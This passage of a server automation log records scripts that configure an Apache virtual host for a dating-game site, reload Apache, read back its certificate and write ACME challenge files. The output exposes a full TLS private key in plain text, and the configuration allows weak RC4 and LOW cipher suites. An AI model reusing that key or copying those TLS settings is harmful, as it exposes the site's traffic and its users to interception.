Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:02:15: 

chmod 755 /tmp/pkp906288; /tmp/pkp906288; rm /tmp/pkp906288

2025-11-10 06:02:15: 


dir=/etc/ssl/certs


2025-11-10 06:02:15: 

PUT: /tmp/pkp616475

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:02:15: 

chmod 755 /tmp/pkp616475; /tmp/pkp616475; rm /tmp/pkp616475

2025-11-10 06:02:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf 50

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:02:15: 

PUT: /tmp/pkp318279

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_datinggame_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf= 1'
fi


2025-11-10 06:02:15: 

chmod 755 /tmp/pkp318279; /tmp/pkp318279; rm /tmp/pkp318279

2025-11-10 06:02:15: 




2025-11-10 06:02:15: 

PUT: /tmp/pkp577062

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:02:15: 

chmod 755 /tmp/pkp577062; /tmp/pkp577062; rm /tmp/pkp577062

2025-11-10 06:02:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:02:16: Establishing a connection
2025-11-10 06:02:16: 

PUT: /tmp/pkp877324

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:02:16: 

chmod 755 /tmp/pkp877324; /tmp/pkp877324; rm /tmp/pkp877324

2025-11-10 06:02:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:02:16: 

PUT: /tmp/pkp152653

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:02:16: 

chmod 755 /tmp/pkp152653; /tmp/pkp152653; rm /tmp/pkp152653

2025-11-10 06:02:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf	1409

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:02:16: 

PUT: /tmp/pkp925297

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:02:16: 

chmod 755 /tmp/pkp925297; /tmp/pkp925297; rm /tmp/pkp925297

2025-11-10 06:02:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt	5377
65:25:31:95:1a:17:49:99:3f:74:98:e6:0a:c1:e4:20

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBgy3n7JGja9bQZXKnbfHGW7SMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzQ0WhcNMjYwMjA4MDUwMzQzWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL91SXs3+h5RiZJmQG00oIVyJGNEDO/Ut8uLhOhgroo9f+2P
vdiYM8bTRW9C1oHZeKfjaEod/ZG3Z/t280T1It11lGH4y40S/XOnrrZ0AALt+GGq
KWabSFdIBclnhs5HF9bPQAbjzBvGbcacPMiG+r+2e/1gW3elE9pHUKfZKAZLn5Ic
RqNQnsHAJJ4SFNU9Hsd00AwQ3P3LOcizyu9OORuyuIq0zi6KDB0PfZa8hWMtulv2
f49C7SF7wRPhAVmUpp8EodWwA7a2q/Ylw1FiylZ9aUJwZLXxitS8rM7LBjm4DVIU
0M1Bk3J/cS5XpICfTIDiSUvuYV/pM2QqtZ8jqbECAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQU7KNi8IBDFfKheDPkznk/TaDyMUowHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgzLmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0l
TMfUAAABmmxbnMQAAAQDAEcwRQIgbagBKBS8FNohmxFqdUfcplnpN/zcQt/o1Bpg
bEIsxg4CIQDEybLwCSDxO6BhIEIF76B+DMx7neaHGsi6lNifQApNjgB1AA5XlLzz
rqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmmxbnMMAAAQDAEYwRAIgenJQ
CsgPuINkjWZS9KOH+6xl1ef8sJ0wW2ZVyfax988CIECN+IZJUxVK31ePWhcUOFiK
gUQqsyf2MO0/W/tW7/KDMA0GCSqGSIb3DQEBCwUAA4IBAQCJfBzup5Glk4YmEh7L
UsogjA6jxH1KlNBtfXrczttFGr+GnmC5268YwvCZ06d1rmlFJ6mvRtj0lbwodS+u
ATHZm3FTL9SIJ924wrQ3JEy4CFIA9tdBCPo7nbwVK1KgL6/5OxJtslu15HvYcA0Y
kwT+wQNB9EwmIE44GIkqeB4gHzRin1geeQ+DwVDhTF6ant7gs3EctHUNznfRcKfZ
9DuaXi3d1DN2xj7nkeF39i9EvbcriiwJc7aEokGkMYvPE+n+4y26Q8kEHShSDgLi
zoAoCM7t32h9cCAD3lfSfu6//0PhBdQQWUIc9VZWCsXIlIY+4VNnSYo8l/xFBNhh
CrDP
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/dUl7N/oeUYmS
ZkBtNKCFciRjRAzv1LfLi4ToYK6KPX/tj73YmDPG00VvQtaB2Xin42hKHf2Rt2f7
dvNE9SLddZRh+MuNEv1zp662dAAC7fhhqilmm0hXSAXJZ4bORxfWz0AG48wbxm3G
nDzIhvq/tnv9YFt3pRPaR1Cn2SgGS5+SHEajUJ7BwCSeEhTVPR7HdNAMENz9yznI
s8rvTjkbsriKtM4uigwdD32WvIVjLbpb9n+PQu0he8ET4QFZlKafBKHVsAO2tqv2
JcNRYspWfWlCcGS18YrUvKzOywY5uA1SFNDNQZNyf3EuV6SAn0yA4klL7mFf6TNk
KrWfI6mxAgMBAAECggEBAL4USpy7qWV6XBPt0l7ZVdjGxpuKzzE4RjUd0hkHC6IR
hrWq9LdZ/GWUESZx/Bc0elZsLnkPJ1UI+oIsyT6YBUJK3sMZx7TKuridLJbVucEu
017bGnlVB1AoIB6h2rNm36MTZaSxek3FBe2d5bbMU5wMJzMZ/BVf3cLi9I9/x/3e
VO3FnefE+k4pFFlrzFCznvAf6GjZ7SODCW+Y+u3ipGFpidhwofObsfmOGISxk4be
rZer54OafbFzaxchnIVqj+6/P/qZyoKz+qRHroHWu8AfCW8jNPawNTHRa6S/Wtg8
HDpWBGAcnbjT47sHMmY5o7HJIq6rp81ZANEZ/+GNCkECgYEA4HWAhjeH2k1jGr+q
fAxwUoXTDEI1uabXq6rd6MKupufFY/+PnCNvkzJmcGkwGoR2jebLDgDFOD+yI0lU
e4m2W/lqAnLXfKLAf5kZTnYVchNy37VpNxwtHG3IVBjXLJpUDFdw8Wz0487C4FBh
P53Zp7NXjpOg+cIXzG2IyqSRbZkCgYEA2lykA/Ki/eDgTNwoUJ6HFlw52RA9S/I5
DgmOJ62iXBFFpsh5jdvJxdv49R5+oEaG900FE8h0WFyfgMSZ4LseB5DgTd0Bg1+m
8T8F4/0/j093nK0Kb34aXJ41Y+toMxhqt96vMX5AzfINCl6XHywWfqLlcCRIvI4W
qDeVmlanu9kCgYAkBfeoksT03jKnmlcsLXrhY6TpdL7WmtZGMNgIgSYyl0PwtpU/
w9gmUZJrPBaCSvwT7hRsnOcKDf7y9tPeN83SmQbQecnnsN8gG1waYY0zj7eB+8V1
GMqMo3nhNVNjTylqCaaQuKHc5dQU2BGjehvydC/7K+pL60CSiInJq/vDEQKBgQCu
2PFoS9hhi7hvMvaBH38x02VqvwsmDe3LpLEUan+QUzA/jVVv1ucpLKubsvBX7EFU
MnL3VVJ8EqaRmFtSzOIN0t8Y2ffFN0lY8UsJNRa47Tvs086AWixHr1M3EB+eklWZ
p5EHA35mqgPxIq7Fgir8+fjYI+WuPeQ8jE2ZiPvEeQKBgH309YTCmSN5nUgOKTPQ
AdyQum1QUI/UughIyzH4D8bCQ76DoJICHSrUGfmJYwZMPXcVPbniRgQMl0BRUylI
UTxpLvWM8DPya/yXzESS1oa3CFz4V4r8Ywuul1NWcykJqC2Ju+g+7py0eZl33uBp
GgPdLOkOcQ1rU56jZA1mEa3/
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-10 06:02:16: Establishing a connection
2025-11-10 06:02:17: Establishing a connection
2025-11-10 06:02:18: 

PUT: /tmp/pkp183190

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:02:19: 

chmod 755 /tmp/pkp183190; /tmp/pkp183190; rm /tmp/pkp183190

2025-11-10 06:02:19: 


0


2025-11-10 06:02:19: Establishing a remote connection
2025-11-11 06:00:02: Establishing a connection
2025-11-11 06:00:03: Establishing a connection
2025-11-11 06:00:04: 

PUT: /tmp/pkp941429

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-11 06:00:05: 

chmod 755 /tmp/pkp941429; /tmp/pkp941429; rm /tmp/pkp941429

2025-11-11 06:00:05: 


0


2025-11-11 06:00:06: Establishing a remote connection
2025-11-12 06:00:01: Establishing a connection
2025-11-12 06:00:02: Establishing a connection
2025-11-12 06:00:02: 

PUT: /tmp/pkp688757

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-12 06:00:03: 

chmod 755 /tmp/pkp688757; /tmp/pkp688757; rm /tmp/pkp688757

2025-11-12 06:00:03: 


1


2025-11-12 06:00:05: Establishing a connection
2025-11-12 06:00:05: 

PUT: /tmp/pkp102819

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pd_8qxTM6L2Z18Q32aimG-5WA6LIAWWPJeqy-Ny1xo4
cat > L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 L2jkhQSq8TXlA9hxqlU8YCLNpnSY2i5546kGkZ88MCg
cat > B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 B3w26SI9sk8YCs4S1ZULLAC1uhlhdVK9cZ5XnjOdyzc


2025-11-12 06:00:05: 

chmod 755 /tmp/pkp102819; /tmp/pkp102819; rm /tmp/pkp102819

2025-11-12 06:00:05: 




2025-11-12 06:00:15: Establishing a connection
2025-11-12 06:00:15: Establishing a connection
2025-11-12 06:00:15: 

PUT: /tmp/pkp880258

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-12 06:00:15: 

chmod 755 /tmp/pkp880258; /tmp/pkp880258; rm /tmp/pkp880258

2025-11-12 06:00:15: 


1


2025-11-12 06:00:16: Establishing a connection
2025-11-12 06:00:16: 

PUT: /tmp/pkp289022

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > aUcYX5-KNmE52kEGPK-8PLPFk2smmtzni_N9OYNxaKQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
